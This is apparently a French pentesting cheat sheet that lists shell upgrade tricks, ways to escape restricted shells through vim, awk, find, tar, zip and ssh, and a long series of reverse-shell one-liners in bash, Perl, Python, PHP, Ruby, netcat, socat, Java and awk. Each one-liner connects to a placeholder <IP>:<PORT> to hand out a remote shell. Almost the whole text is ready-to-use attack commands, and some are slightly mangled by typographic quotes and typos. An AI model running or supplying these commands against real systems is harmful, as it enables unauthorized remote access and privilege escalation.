Ici nous allons lister des commandes permettants une élévation de privilège en une ligne, très utiles quand l’utilisateur a la possibilité d’exécuter des commande en mode superadmin (cf. Énumération.c) :
1. Upgrade son shell
Souvent quand vous arriverez à établir une connexion et avoir la main sur un shell, vous serez restrains par le shell lui même, voilà quelques commandes qui vous permettront dans certains cas d’avoir un meilleur shell et donc d’avoir plus de possibilitées :
Astuce : Il faut impérativement que l’utilisateur puisse exécuter /bin/bash ou du python.
Vous pouvez tester une de ces 3 commandes : echo && ‘bash’ python -c ‘import pty;pty.spawn(« /bin/bash »)’ python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((« <IP> »,<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([« /bin/sh », »-i »]);’ #Changez le Port et l'IP de la victime
Astuce2 : Avec la dernière commande il est possible d’ouvrir un listener Netcat pour récupérer le shell : nc -lnvp <port> êt attention a ne pas oublier le sudo lors de l excution
2. Evading restricted shell
Dans cette partie nous allons essayer de bypass un shell restreint. A ne pas confondre avec la partie juste avant qui n’est juste qu’un shell avec “une mauvaise mise en forme”. Dans cette rubrique nous allons voir l’évasion d’un shell qui restreint vos commandes :
2.1 Utiliser VIM :
Vous pouvez utiliser l’éditeur de texte vim pour bypass un shell restreint. :
vi #Appuyer sur la touch echap (ESC) :!/bin/bash
Astuce : Dans le cas ou cela ne fonctionnerait pas, quitter VIM en tapant “ESC” puis “:q” ou “:q!”
pour quitter sans sauvegarder.
2.2 Vérifier le PATH et l’utiliser :
echo $PATH export PATH=/bin:/usr/bin:$PATH echo $PATH
2.3 Techniques courantes
Si vous pouvez exécuter la commande cp :cp /bin/bash .
Depuis ftp :
!/bin/sh ou !/bin/bash
Depuis gdb :
> !/bin/sh ou !/bin/bash
Depuis more/man/less :
>!/bin/sh ou !/bin/bash
Depuis vim :
> !/bin/sh ou !/bin/bash
Depuis rvim :
> :python import os ; os. system("/bin/bash )
Depuis scp :
> scp -S /path/yourscript x y:
Depuis awk :
> awk 'BEGIN {system("/bin/sh ou /bin/bash")}'
Depuis find :
> find / -name test -exec /bin/shor /bin/bash \ ;
2.5 Techniques Avancés
Depuis ssh :
ssh username@IP -t "/bin/sh" or "/bin/bash"
Depuis ssh2 :
sh username@IP -t "bash --noprofile"
Depuis ssh3 :
ssh username@IP -t "() { :; }; /bin/bash"
Depuis git :
git help status > puis !/bin/bash
Depuis pico :
pico -s "/bin/bash" vous pouvez ensuite écrire /bin/bash puis appuyer sur CTRL + T
Depuis zip :
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c/bin/bash"
Depuis tar :
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
3. Reverse Shell One Liner
Voici une liste de commandes à executer pour avoir un reverse shell en une ligne et dans de multiple language : https://www.asafety.fr/reverse-shell-one-liner-cheat-sheet/
1. Bash
Certaines versions de Bash permettent de transmettre un reverse-shell via « /dev/tcp/ » ou « /dev/udp/ » (version compilée avec le drapeau « –enable-net-redirections »).
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1 exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5;done exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196
2. TCLsh
Version one-line :
echo ‘set s [socket <IP> <PORT>];while 42 { puts -nonewline $s « shell> »;flush $s;gets $s c;set e « exec $c »;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh
3. MySQL
sudo mysql -e ‘\! /bin/sh’
4. Perl
perl -e ‘use Socket;$i= »<IP> »;$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname(« tcp »));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN, »>&S »);open(STDOUT, »>&S »);open(STDERR, »>&S »);exec(« /bin/sh -i »);};’
perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr, »<IP>:<PORT> »);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
perl -MIO -e « $c=new IO::Socket::INET(PeerAddr,'<IP>:<PORT>’);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>; »
5. Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((« <IP> »,<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([« /bin/sh », »-i »]);’
6. PHP
php -r ‘$s=fsockopen(« <IP> »,<PORT>);exec(« /bin/sh -i <&3 >&3 2>&3 »);’ php -r ‘$s=fsockopen(« <IP> »,<PORT>);shell_exec(« /bin/sh -i <&3 >&3 2>&3 »);’ php -r ‘$s=fsockopen(« <IP> »,<PORT>);`/bin/sh -i <&3 >&3 2>&3`;’ php -r ‘$s=fsockopen(« <IP> »,<PORT>);system(« /bin/sh -i <&3 >&3 2>&3 »);’ php -r ‘$s=fsockopen(« <IP> »,<PORT>);popen(« /bin/sh -i <&3 >&3 2>&3 », « r »);’
7. Ruby
ruby -rsocket -e’f=TCPSocket.open(« <IP> »,<PORT>).to_i;exec sprintf(« /bin/sh -i <&%d >&%d 2>&%d »,f,f,f)’
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(« <IP> », »<PORT> »);while(cmd=c.gets);IO.popen(cmd, »r »){|io|c.print io.read}end’
Pour windows :
ruby -rsocket -e « c=TCPSocket.new(‘<IP>’,'<PORT>’);while(cmd=c.gets);IO.popen(cmd,’r’){|io|c.print io.read}end »
8. Netcat
nc <IP> <PORT> -e /bin/bash /bin/nc <IP> <PORT> -c /bin/bash
9. MKFIFO/MKNOD
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc <IP> <PORT> > f rm f;mkfifo f;cat f|/bin/sh -i 2>&1|/bin/nc.openbsd <IP> <PORT> > f
rm -f x; mknod x p && nc <IP> <PORT> 0<x | /bin/bash 1>x rm -f x; mknod x p && /bin/nc.openbsd <IP> <PORT> 0<x | /bin/bash 1>x
10. Telnet
telnet <IP> <PORT1> | /bin/bash | telnet <IP> <PORT2>
11. Socat
socat tcp-connect:<IP>:<PORT> exec: »bash -li »,pty,stderr,setsid,sigint,sane
12. Java
r = Runtime.getRuntime() p = r.exec([« /bin/bash », »-c », »exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done »] as String[]) p.waitFor()
14. (G)awk
Pour une exécution « one-line » en utilisant « awk » développée par ASafety (ou sa variante GNU Gawk) :
awk ‘BEGIN {s = « /inet/tcp/0/<IP>/<PORT> »; while(42) { do{ printf « shell> » |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != « exit ») close(s); }}’ /dev/null
15. Nginx
sudo service nginx start netstat -antp
Aller voir les fichier conf de nginx et voir quel logiciel on peut utiliser.
Dans mon cas c’était Lynx, je télécharge Lynx sur ma machine attaquante et on tape :
lynx <Ip_Victime>:<PORT>